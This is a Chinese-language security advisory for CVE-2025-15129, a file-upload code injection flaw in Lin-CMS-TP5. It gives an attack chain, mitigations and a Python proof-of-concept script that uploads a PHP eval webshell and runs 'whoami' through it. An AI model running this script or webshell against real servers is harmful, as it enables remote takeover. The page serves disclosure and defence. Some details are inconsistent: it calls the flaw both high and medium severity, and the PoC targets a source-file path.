IPBUF安全漏洞报告
English
CVE-2025-15129 CVSS 6.3 中危

CVE-2025-15129 Lin-CMS-TP5 文件上传代码注入漏洞

披露日期: 2025-12-28

漏洞信息

漏洞编号
CVE-2025-15129
漏洞类型
代码注入/远程代码执行
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ChenJinchuang Lin-CMS-TP5

相关标签

CVE-2025-15129代码注入远程代码执行文件上传漏洞Lin-CMS-TP5PHPWeb安全代码审计

漏洞概述

CVE-2025-15129是存在于ChenJinchuang Lin-CMS-TP5项目中的一个高危安全漏洞,影响版本至0.3.3。该漏洞位于文件上传处理模块,具体为application/lib/file/LocalUploader.php文件中的Upload函数。由于该函数对用户上传的文件处理不当,攻击者可以通过构造恶意的文件参数来注入任意代码。漏洞允许攻击者绕过正常的文件上传限制,上传包含恶意代码的文件(如PHP webshell),从而在服务器上执行任意系统命令,获取服务器完全控制权。由于该漏洞可通过网络远程利用,且只需要低权限认证即可实施攻击,因此具有较高的实际威胁性。该漏洞的利用代码已被公开披露,项目方虽已收到问题报告但尚未做出响应,建议用户立即采取防护措施。

技术细节

该漏洞存在于Lin-CMS-TP5框架的文件上传处理组件中,具体位置为application/lib/file/LocalUploader.php的Upload函数。漏洞产生的根本原因在于文件上传模块对用户可控的File参数缺乏充分的输入验证和安全过滤。攻击者可以通过HTTP请求构造恶意的文件上传数据包,将包含PHP代码的webshell文件(如1.php)作为上传文件提交。服务器端在处理上传文件时,未对文件内容进行安全检查就直接保存到可访问的Web目录。当攻击者通过HTTP请求访问已上传的恶意文件时,服务器会将其作为PHP脚本执行,从而触发注入的恶意代码。攻击者可以利用webshell执行系统命令、读取敏感配置文件、甚至进一步横向移动攻击内网其他系统。漏洞利用的关键在于绕过文件类型检查和上传路径限制。

攻击链分析

STEP 1
步骤1
信息收集:攻击者识别目标站点使用Lin-CMS-TP5框架,并定位到存在漏洞的文件上传接口
STEP 2
步骤2
构造恶意文件:攻击者创建包含PHP webshell代码的恶意文件(如exploit.php)
STEP 3
步骤3
绕过检测:利用漏洞特性,构造特殊的HTTP请求绕过文件类型检查和上传路径限制
STEP 4
步骤4
上传webshell:通过漏洞接口将恶意PHP文件上传到服务器可访问目录
STEP 5
步骤5
执行代码:访问上传的webshell文件,通过POST参数执行任意系统命令
STEP 6
步骤6
持久化控制:在服务器上创建后门、读取敏感数据或进一步横向移动攻击内网系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-15129 PoC - Lin-CMS-TP5 File Upload Code Injection Reference: https://github.com/ChenJinchuang/lin-cms-tp5/issues/65 """ import requests import sys def exploit(target_url, webshell_content=None): """ Exploit the file upload vulnerability in Lin-CMS-TP5 """ if webshell_content is None: webshell_content = "<?php @eval($_POST['cmd']);?>" upload_url = f"{target_url.rstrip('/')}/application/lib/file/LocalUploader.php" # Prepare malicious file upload files = { 'file': ('exploit.php', webshell_content, 'application/x-php') } data = { 'File': 'exploit.php' } try: print(f"[*] Target: {target_url}") print(f"[*] Uploading malicious file to {upload_url}") # Send malicious file upload request response = requests.post(upload_url, files=files, data=data, timeout=10) if response.status_code == 200: print("[+] File upload request sent successfully") print(f"[+] Response: {response.text}") # Try to access the uploaded webshell webshell_url = f"{target_url.rstrip('/')}/uploads/exploit.php" print(f"[*] Attempting to access webshell at: {webshell_url}") # Test webshell execution test_response = requests.post(webshell_url, data={'cmd': 'whoami'}, timeout=10) if test_response.status_code == 200: print(f"[+] Webshell executed! Output: {test_response.text}") return True else: print(f"[-] Upload failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_url>") print(f"Example: python3 {sys.argv[0]} http://target.com/lin-cms-tp5") sys.exit(1) target = sys.argv[1] exploit(target)

影响范围

ChenJinchuang Lin-CMS-TP5 <= 0.3.3

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)临时禁用文件上传功能;2)限制文件上传接口的访问权限,仅允许管理员访问;3)配置Web服务器禁止执行.php等脚本文件,仅允许上传静态文件;4)使用WAF(Web应用防火墙)对文件上传接口进行安全防护和实时监控;5)定期检查服务器上的可疑文件,及时清理webshell后门。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表